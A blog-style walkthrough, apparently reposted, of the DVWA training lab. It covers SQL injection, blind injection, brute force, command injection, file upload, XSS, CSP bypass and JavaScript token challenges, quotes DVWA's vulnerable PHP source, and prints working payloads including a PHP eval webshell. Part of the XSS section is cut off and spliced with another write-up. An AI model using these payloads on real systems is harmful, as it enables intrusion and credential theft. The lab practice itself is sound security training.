DVWA靶场练习

1 SQL 注入

1.1 SQL注入介绍

SQL injection,即SQL注入,攻击者在 WEB 表单或者页面请求的查询字符串中通过注入恶意的 SQL 命令,从而使数据库执行恶意的 SQL 语句

1.2 漏洞出现的场景

此漏洞通常出现在如下场景:
WEB表单提交
域名

1.3 注入思路

1.判断是否存在注入,注入类型是字符型、数字型还是搜索性型。
2.猜解 SQL 查询语句中的字段数。
3.确定显示的字段顺序。
4.获取当前的数据库。
5.获取当前数据库中的表
6.获取表中的字段名。
7.查询数据

1.4 SQL Injection

1.4.1 low

DVWA靶场练习_第1张图片
这里是一个可以提交的表单。先提交几个试一试。
DVWA靶场练习_第2张图片
输入1 - 5 均有返回。
(1)首先,输入1’,查询失败;
输入 1 and 1=1,查询成功;
输入 1’ and 1=1,查询失败;
输入 1’ and 1=1#,查询成功;
说明是字符型注入。
输入 1’ and 1=1#,可以看到数据库里面的部分内容。
DVWA靶场练习_第3张图片
(2)猜解 SQL 查询语句中的字段数。
输入 1’ order by 1#,查询成功;
输入 1’ order by 3#,查询失败;
在这里插入图片描述
因此字段是应该为2;
(3)确定显示的字段顺序。
输入 1’ union select 1,2#,可以看到字段的顺序;
DVWA靶场练习_第4张图片
(4)获取当前的数据库。
输入 1’ union select 1,database()#,查看当前数据库的名字;
DVWA靶场练习_第5张图片
(5)获取当前数据库中的表
输入1’ union select 2,group_concat(table_name) from information_schema.tables where table_schema=‘dvwa’#,查询成功
DVWA靶场练习_第6张图片
关于group_concat的介绍,不使用 group_concat()函数的时候则返回
DVWA靶场练习_第7张图片

如果出现报错 Illegal mix of collations for operation ‘UNION’,请点击此链接查询 。

(6)获取表中的字段名。
输入 1’ union select 1,group_concat(column_name) from information_schema.columns where table_name='users,查询成功;一定要细心啊,我刚才就查成了 user。。。
DVWA靶场练习_第8张图片

(7)查询数据
输入 1’ union select group_concat(user_id,first_name,last_name),group_concat(user,password) from users #,得到:
DVWA靶场练习_第9张图片
md5解码得:
DVWA靶场练习_第10张图片

1.4.2 medium

只允许我们提交它提供的这几项。
DVWA靶场练习_第11张图片
使用BP抓包,转到重放器:
(1)通过手工注入检测是数字型。
(2)猜解字段数,字段数为2;
(3)确定字段显示顺序,
DVWA靶场练习_第12张图片
(4)查看当前数据库;
DVWA靶场练习_第13张图片
(5)获取数据库中的表;
因为它对单引号进行了屏蔽,所以我们这里用 database()代替
DVWA靶场练习_第14张图片
(6)获取表中的字段名。
id=1 union select 1,group_concat(column_name) from information_schema.columns where table_name=0x7573657273 &Submit=Submit
因为过滤了引号,所以我们这里用十六进制代替,但我不太明白的地方是为什么只需要对 users 进行转码而不是 ‘users’。
DVWA靶场练习_第15张图片
这个函数进行过滤:DVWA靶场练习_第16张图片

(7)查询

id=1 union select 1,group_concat(user,password) from users &Submit=Submit
DVWA靶场练习_第17张图片

1.4.3 high

这个仅仅只是换了一个界面,并且对输出做了限制,不再过多展示;
1’ union select user,password from users#
DVWA靶场练习_第18张图片
这里的 # 把后面的 limit 1 也注释掉了。

2.SQL Injection (Blind)

1.SQL盲注介绍

SQL盲注与一般注入的区别在于一般的注入攻击者可以直接从页面上看到注入语句的执行结果,而盲注时攻击者通常是无法从显示 页面上获取执行的结果,甚至连注入语句是否执行都无法得知。

2. SQL盲注原理

盲注的话,就像跟一个机器人聊天,但是这个机器人只会回答“是”与“不是”,因此,得从一个大的范围去问是与不是,然后慢慢的缩小范围,最后就是类似于问“数据库名字的第一个字是不是a啊”这样的问题,通过这种机械的询问,最终得到我们想要的数据。
盲注分为:基于布尔的盲注、基于时间的盲注、基于报错的盲注
盲注的一般步骤

判断是否存在注入、注入是字符型还是数字型
猜解当前数据库名
猜解数据库中的表名
猜解表中的字段名
猜解数据

布尔型盲注:

1.布尔盲注利用前提
页面没有显示位,没有输出SQL语句执行错误信息,只能通过页面返回正常不正常来判断是否存在注入。
2.布尔盲注利用
该语句判断数据库个数,当数据库个数大于n页面显示正常
(select count(schema_name) from information_schema.schemata)> n
该语句判断数据库内第一个数据库名有多少字符,字符个数大于n页面显示正常
(select length(schema_name) from information_schema.schemata limit 0,1)> n
该语句判断第一个库第一个字符是什么,ascii值大于n页面显示正常
(select ascii(substr((select schema_name from information_schema.schemata limit 0,1),1,1)))>n
相关函数学习
Length() 返回字符串的长度
substr() 截取字符串,偏移是从1开始,而不是0开始
ascii() 返回字符的ascii码
count(column_name) 返回指定列的值的数目(NULL 不计入)

时间型盲注:

1.时间盲注利用前提
页面上没有显示位,也没有输出SQL语句执行错误信息。 正确的SQL语句和错误的SQL语句返回页面都一样,但是加入sleep(5)条件之后,页面的返回速度明显慢了5秒。
2.时间盲注利用
该语句判断数据库个数,当数据库个数等于n页面返回延迟5秒
if((select count(schema_name) from information_schema.schemata)=n,sleep(5),1)
该语句判断数据库内第一个数据库名有多少字符,字符个数等于n页面返回延迟5秒
if((select length(schema_name) from information_schema.schemata limit 0,1)=n,sleep(5),1)
该语句判断第一个库第一个字符是什么,ascii值等于n页面返回延迟5秒
if((select ascii(substr((select schema_name from information_schema.schemata limit 0,1),1,1)))=n,sleep(5),1)
相关函数学习
Length()函数 返回字符串的长度
substr()截取字符串
ascii()返回字符的ascii码
sleep(n):将程序挂起一段时间 n为n秒
if(expr1,expr2,expr3):判断语句 如果第一个语句正确就执行第二个语句如果错误执行第三个语句
count(column_name)函数返回指定列的值的数目(NULL 不计入)

注:关于注释符号DVWA靶场练习_第19张图片

3.1 low

查看源代码,发现没有过滤,
(1)判断是否存在注入、注入是字符型还是数字型

1
1' and  1=1
1' and  1=1# 判断是字符型注入

(2)猜解当前数据库名
可以使用BP爆破,也可以使用二分法猜解。
1’ and length(database())=4#
DVWA靶场练习_第20张图片

1' and ascii(substr(database(),1,1))=100 #

DVWA靶场练习_第21张图片
1’ and ascii(substr(database(),2,1))=118 #
1’ and ascii(substr(database(),3,1))=119 #
1’ and ascii(substr(database(),4,1))=97 #
DVWA靶场练习_第22张图片
当前数据库的名字是“dvwa”
(3)猜解数据库中的表名
1.猜解数据库中表的个数,依旧采用二分法猜解或者爆破。

1’ and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))=9 #

2.猜解表名,依次猜解,注意参数的修改。

1’ and length(substr((select table_name from information_schema.tables where table_schema=‘dvwa’ limit 0,1),1))=9#
1’ and length(substr((select table_name from information_schema.tables where table_schema=‘dvwa’ limit 1,1),1))=5#

猜解表名是 guestbook 和 users

(4)猜解表中列名
1.猜列数

1’ and (select count(column_name) from information_schema.columns where table_name=‘users’)=14 #

找到users表中有14列
2.猜解每列列名的长度

1’ and length(substr((select column_name from information_schema.columns where table_name=‘users’ limit 0,1),1))=7 #
1’ and length(substr((select column_name from information_schema.columns where table_name=‘users’ limit 1,1),1))=10 #

3.猜解列的名称
第一列的第一位:

1’ and ascii(substr((select column_name from information_schema.columns where table_name=‘users’ limit 0,1),1))=117 #

第二位:

1’ and ascii(substr((select column_name from information_schema.columns where table_name=‘users’ limit 0,1),2))=115 #

……
第二列的第一位:

1’ and ascii(substr((select column_name from information_schema.columns where table_name=‘users’ limit 1,1),1))=102 #

……
如此反复,得到十四个列名分别是:
user_id
first_name
last_name
user
password
avatar
last_login
failed_login
USER
CURRENT_CONNECTIONS
TOTAL_CONNECTIONS
id
username
password
(5)猜解用户名

1’ and (ascii(substr((select user from users limit 0,1),1,1)))=97 #
1’ and (ascii(substr((select user from users limit 0,1),2,1)))=100 #

最后查出 admin,也可以通过这种方式查出 password
注:substr()函数
1.substr(str,pos,len): 从pos开始的位置,截取len个字符
2.substr(str,pos): pos开始的位置,一直截取到最后

3.2 medium

中等难度换成了下拉表单,并对单引号进行了转义
首先判断是是数字型注入;
然后使用 重放 模块猜解数据库名;
猜解当前数据库中的表名;
猜解表中的字段名;
猜解用户信息。
其余与 low 相同。

3.3 high

看一眼源代码(菜鸟表示其实不怎么看得懂):



if( isset( $_COOKIE[ 'id' ] ) ) {
    // Get input
    $id = $_COOKIE[ 'id' ];

    // Check database
    $getid  = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $getid ); // Removed 'or die' to suppress mysql errors

    // Get results
    $num = @mysqli_num_rows( $result ); // The '@' character suppresses errors
    if( $num > 0 ) {
        // Feedback for end user
        echo '
User ID exists in the database.
'
; } else { // Might sleep a random amount if( rand( 0, 5 ) == 3 ) { sleep( rand( 2, 4 ) ); } // User wasn't found, so the page wasn't! header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' ); // Feedback for end user echo '
User ID is MISSING from the database.
'
; } ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res); } ?>

可以发现,代码中存在 limit 1,只能输出一个字符,但我们可以用# 注释掉它,
当查询结果为空时sleep( rand( 2, 4 ) )这样便无法进行基于时间的盲注。
剩余盲注内容参考 low。

3 Brute Force

BP爆破的四种模式:
1.Sniper狙击手模式,对变量依次进行破解。多个标记依次进行。
2.Battering ram,对变量同时进行破解。多个标记同时进行。
3.pitchfork,每一个变量标记对应一个字典,取每个字典的对应项。
4.Clutter bomb,每个变量对应一个字典,并且进行交集破解,尝试各种组合。适用于用户名+密码的破解。

3.1 low

查看源码可知low级别的代码直接获取用户输入的用户名和密码,密码再经过MD5进行加密,所以杜绝了通过密码进行SQL注入的可能。
直接抓包爆破就完事了。
DVWA靶场练习_第23张图片

3.2 medium

相比Low级别的代码,Medium级别的代码主要增加了mysql_real_escape_string函数,这个函数会对字符串中的特殊符号(x00,n,r,,’,",x1a)进行转义,把其中的字符串给过滤掉了,基本上能够抵御sql注入攻击,那低等级时候用到的注入就失效了,需要注意的是中级的暴力破解相对来说较慢是因为有个sleep函数,在破解失败后会使程序停止运行两秒。所以我们直接用爆破方法即可,和low级的一样。
DVWA靶场练习_第24张图片

3.3 High

high级别的代码加入了Token,可以抵御CSRF攻击,同时也增加了爆破的难度,通过抓包,可以看到,登录验证时提交了四个参数:username、password、Login以及user_token。
有点小麻烦。
首先,抓包。
DVWA靶场练习_第25张图片
这个东西每次也会更改,所以我们得对它进行处理。

DVWA靶场练习_第26张图片
在选项中寻找:
DVWA靶场练习_第27张图片
DVWA靶场练习_第28张图片
复制一下,然后点好的。
DVWA靶场练习_第29张图片

密码这样搞:
DVWA靶场练习_第30张图片
token这样搞:

DVWA靶场练习_第31张图片
新建资源池,调整线程为1;
DVWA靶场练习_第32张图片
最后跑出结果
DVWA靶场练习_第33张图片

4 command injection

命令注入用到的一些命令以及连接符:
Ipconfig 查看本地网络
Net user 查看系统用户
Dir 查看当前目录
Find 查找包含指定字符的行
Whoami 查看系统当前有效用户名

A&B 简单的拼接,AB之间无制约关系
A&&B A执行成功才会执行B
A | B A的输出作为B的输入
A || B A执行失败,然后才会执行B

TTL值240-255为UNIX/linux系统,TTL值为100-130为Windows系统。

4.1 low

查看源码:


<?php

if( isset( $_POST[ 'Submit' ]  ) ) {
    // Get input
    $target = $_REQUEST[ 'ip' ];

    // Determine OS and execute the ping command.
    if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
        // Windows
        $cmd = shell_exec( 'ping  ' . $target );
    }
    else {
        // *nix
        $cmd = shell_exec( 'ping  -c 4 ' . $target );
    }

    // Feedback for the end user
    echo "
{$cmd}
"
; } ?>

没有任何限制,理论上来说可以随意执行命令。例如:

127.0.0.1 && ipconfig
127.0.0.1 && whoami
127.0.0.1 && dir
127.0.0.1 && net user

DVWA靶场练习_第34张图片
DVWA靶场练习_第35张图片

4.2 medium


<?php

if( isset( $_POST[ 'Submit' ]  ) ) {
    // Get input
    $target = $_REQUEST[ 'ip' ];

    // Set blacklist
    $substitutions = array(
        '&&' => '',
        ';'  => '',
    );

    // Remove any of the charactars in the array (blacklist).
    $target = str_replace( array_keys( $substitutions ), $substitutions, $target );

    // Determine OS and execute the ping command.
    if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
        // Windows
        $cmd = shell_exec( 'ping  ' . $target );
    }
    else {
        // *nix
        $cmd = shell_exec( 'ping  -c 4 ' . $target );
    }

    // Feedback for the end user
    echo "
{$cmd}
"
; } ?>

进行了一定程度上的过滤,将 && 和 ;换成空。可以采用以下命令注入:

127.0.0.1 | dir
127.0.0.1 & dir
127.0.0.1 &;& ipconfig

DVWA靶场练习_第36张图片

4.3 high


<?php

if( isset( $_POST[ 'Submit' ]  ) ) {
    // Get input
    $target = trim($_REQUEST[ 'ip' ]);

    // Set blacklist
    $substitutions = array(
        '&'  => '',
        ';'  => '',
        '| ' => '',
        '-'  => '',
        '$'  => '',
        '('  => '',
        ')'  => '',
        '`'  => '',
        '||' => '',
    );

    // Remove any of the characters in the array (blacklist).
    $target = str_replace( array_keys( $substitutions ), $substitutions, $target );

    // Determine OS and execute the ping command.
    if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
        // Windows
        $cmd = shell_exec( 'ping  ' . $target );
    }
    else {
        // *nix
        $cmd = shell_exec( 'ping  -c 4 ' . $target );
    }

    // Feedback for the end user
    echo "
{$cmd}
"
; } ?>

注意|后面有个空格,利用这个绕过:

127.0.0.1 |ipconfig

DVWA靶场练习_第37张图片

5 File upload

什么是文件上传漏洞?
可以上传恶意文件、 木马、病毒、WebShellde的漏洞。
形成原因?
1.服务器配置不当

2.开源编辑器上传漏洞

3.本地文件上传限制被绕过

4.过滤不严格被绕过

5.文件解析漏洞导致文件执行

6.文件路径截断
危害:
1.上传文件是病毒或者木马时,主要用于诱骗用户或者管理员下载执行或者直接自动运行。
2.上传文件是WebShell时,攻击者可以通过这些网页后门执行命令并控制服务器;
3.上传文件是其他恶意脚本时,攻击者可直接执行脚本进行攻击;
4.上传文件是恶意图片时,图片中可能包含了脚本,加载或者点击这些图片时,脚本会悄无声息的运行。
5.上传文件是伪装成正常后缀的恶意脚本时,攻击者可借助本地文件包含漏洞执行该文件。如将bad.php文件名改为bad.doc上传到服务器,再通过PHP的 include_once,require,require_once等函数包含执行。

5.1 low

查看源码,发现没有任何过滤措施;
写一个php文件

 @eval($_GET['cmd']);phpinfo();?>

上传后访问该地址,并且可以进行传参
DVWA靶场练习_第38张图片

5.2 medium



if( isset( $_POST[ 'Upload' ] ) ) {
    // Where are we going to be writing to?
    $target_path  = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
    $target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );

    // File information
    $uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
    $uploaded_type = $_FILES[ 'uploaded' ][ 'type' ];
    $uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];

    // Is it an image?
    if( ( $uploaded_type == "image/jpeg" || $uploaded_type == "image/png" ) &&
        ( $uploaded_size < 100000 ) ) {

        // Can we move the file to the upload folder?
        if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) {
            // No
            echo '
Your image was not uploaded.
'
; } else { // Yes! echo "
{$target_path} succesfully uploaded!
"
; } } else { // Invalid file echo '
Your image was not uploaded. We can only accept JPEG or PNG images.
'
; } } ?>

对文件进行了过滤,我们可以上传.jpg,然后使用bp拦截,然后修改文件名。
DVWA靶场练习_第39张图片
上传成功:
DVWA靶场练习_第40张图片
修改PHP文件后,可以使用中国蚁剑进行连接:
DVWA靶场练习_第41张图片

5.3 high

使用如下命令

copy 1.png /b + cmd1.txt /a 111.png

在这里插入图片描述

利用文件包含漏洞:

DVWA靶场练习_第42张图片
成功上传,可以使用中国蚁剑连接。

5 XSS(Reflect)

除了js,flash等脚本语言也有可能存在XSS漏洞

5.1 low

查看源码



header ("X-XSS-Protection: 0");

// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
    // Feedback for end user
    echo '
Hello ' . $_GET[ 'name' ] . '
'
; } ?>

没有任何过滤,可以直接插入一个弹窗。

DVWA靶场练习_第43张图片

5.2 medium

查看源码:


<?php

header ("X-XSS-Protection: 0");

// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
    // Get input
    $name = str_replace( '
";
}
$page[ 'body' ] .= '

You can include scripts from external sources, examine the Content Security Policy and enter a URL to include here:

';

1622176111_60b0716f39d7c50b609a9.png!small?1622176112968

$headerCSP = "Content-Security-Policy: script-src ‘self’ https://pastebin.com example.com code.jquery.com ht
此时可以上pastebin网站上自己写一个javascript代码alert(“hahaha”),保存后记住链接,

https://pastebin.com/raw/zSLDySJn
然后在上面界面中输入链接,结果如下

1622176154_60b0719a43b11dcaf3f0f.png!small?1622176156011

在pastebin上保存的js代码被执行了。那就是因为pastebin网站是被信任的。攻击者可以把恶意代码保存在收信任的网站上,然后把链接发送给用户点击,实现注入。

难度(medium)

审计代码

alert(1)
?>
```
```

    

Whatever you enter here gets dropped directly into the page, see if you can get an alert box to pop up.

'; ``` http头信息中的script-src的合法来源发生了变化,说明如下 unsafe-inline,允许使用内联资源,如内联< script>元素,javascript:URL,内联事件处理程序(如onclick)和内联< style>元素。必须包括单引号。 nonce-source,仅允许特定的内联脚本块,nonce=“TmV2ZXIgZ29pbmcgdG8gZ2l2ZSB5b3UgdXA” 现在更加简单了,可以直接输入以下代码 ``` 1622176296_60b07228471330097bf14.png!small?1622176297994 ``` nonce是设定好的,允许运行 ## 难度(high) 审计代码 1622176391_60b072876fa24dee902e3.png!small?1622176393090 1622176412_60b0729c4358f31c529a3.png!small?1622176413833 这个级别已经没有输入框了, 不过题目已经给了足够多的提示. 首先先看一下 CSP 头, 发现只有 script-src 'self';, 看来只允许本界面加载的 javascript 执行. 然后研究了一下这个点击显示答案的逻辑(逻辑在 source/high.js里), 大致如下: 点击按钮 -> js 生成一个 script 标签(src 指向 source/jsonp.php?callback=solveNum), 并把它加入到 DOM 中 -> js 中定义了一个 solveNum 的函数 -> 因此 script 标签会把远程加载的 solveSum({"answer":"15"})当作 js 代码执行, 而这个形式正好就是调用了 solveSum 函数, 然后这个函数就会在界面适当的位置写入答案. 本来嘛, 应该是没办法修改在服务器的 jsonp.php 文件的(除非结合别的漏洞, 拿 shell 后修改). 然而, 我后来在查看服务端源码的时候发现了这个: 1622176450_60b072c23ebc51389aba1.png!small?1622176451871 竟然还偷偷接收 include 参数(不清楚是不是作者复用了之前 Medium 的代码). 总之, 这肯定能作为一个注入点, 我开始打算用简单粗暴的 来搞定的, 谁知道, 这种是属于 'unsafe-inline' 形式的, 所以被限制执行了. 嗯... 既然如此的话, 那我就利用 src 吧. 1622176473_60b072d9ed6f168bc8b6d.png!small?1622176475523 这个即使你不看源码, 你做几个测试也会发现, 那个 callback 参数可以被操控以生成任何你想要得到的结果, 比如 alert, 因此可以构造 Payload: , 并把这个当做 include 参数传给界面就 注入成功! ## 12 JavaScript ## 难度(low) 如果你改成 “success” 提交一下会出现了这个,Invalid token。这是什么回事呢? 1622176670_60b0739ef392d3a6cfcc4.png!small?1622176672847 你可以打开控制台(F12),看看情况。 1622176697_60b073b941c5bac047eb2.png!small?1622176699202 你会看到这个 token,不是后台生成的,而是前台生成的。。。而前台生成的 token,是用 md5("ChangeMe"),而后台期待的 md5 是 md5("success")。 所以你在输入框中输入 success 之后,还得在控制台在调用 generate_token()函数。 结果如下 1622176723_60b073d3dcd4750557f4d.png!small?1622176728450 ## 难度(medium) 思路是一样的,只是生成 token 的函数放到另外的 js 文件中了。 1622176768_60b074008bd821aa0fba4.png!small 如果你打开这个 js 文件 http://192.168.0.110:5678/vulnerabilities/javascript/source/medium.js,你会看到这样 1622176846_60b0744ec3c21e0b99fc3.png!small?1622176848361 所以,在输入框输入 “success” 之后,在控制台中,输入do_elsesomething("XX")就可以了。 1622176905_60b07489d10bb8fa7e13e.png!small?1622176907549 ## 难度(high) 高级和中级类似,生成 token 的逻辑在额外的 js 文件中。和中级不同的是,这里的 JS 经过了混淆的。。。就显得很混乱。 http://192.168.0.110:5678/vulnerabilities/javascript/source/high.js 截取其中的一段给大家看看 ``` var a=['fromCharCode','toString','replace','BeJ','\x5cw+','Lyg','SuR','(w(){\x273M\x203L\x27;q\x201l=\x273K\x203I\x203J\x20T\x27;q\x201R=1c\x202I===\x271n\x27;q\x20Y=1R?2I:{};p(Y.3N){1R=1O}q\x202L=!1R&&1c\x202M===\x271n\x27;q\x202o=!Y.2S&&1c\x202d===\x271n\x27&&2d.2Q&&2d.2Q.3S;p(2o){Y=3R}z\x20p(2L){Y=2M}q\x202G=!Y.3Q&&1c\x202g===\x271n\x27&&2g.X;q\x202s=1c\x202l===\x27w\x27&&2l.3P;q\x201y=!Y.3H&&1c\x20Z!==\x272T\x27;q\x20m=\x273G\x27.3z(\x27\x27);q\x202w=[-3y,3x,3v,3w];q\x20U=[24,16,8,0];q\x20K= ``` 这不是正常人类能看懂的。 而 http://deobfuscatejavascript.com中提供的功能是,把混淆后的代码转成人类能看懂一些 js 代码 其中关键的部分是这里: 1622176990_60b074dee9b4fa653829b.png!small?1622176992666 这里生成 token 的步骤是: 1、执行token_part_1("ABCD", 44) 2、执行token_part_2("XX")(原本是延迟 300ms执行的那个) 3、点击按钮的时候执行 token_part_3 所以我们在输入框输入 success 后,再到控制台中输入token_part_1("ABCD", 44)和token_part_2("XX")这两个函数就可以了。

你可能感兴趣的:(DVWA,数据库,web安全,sql)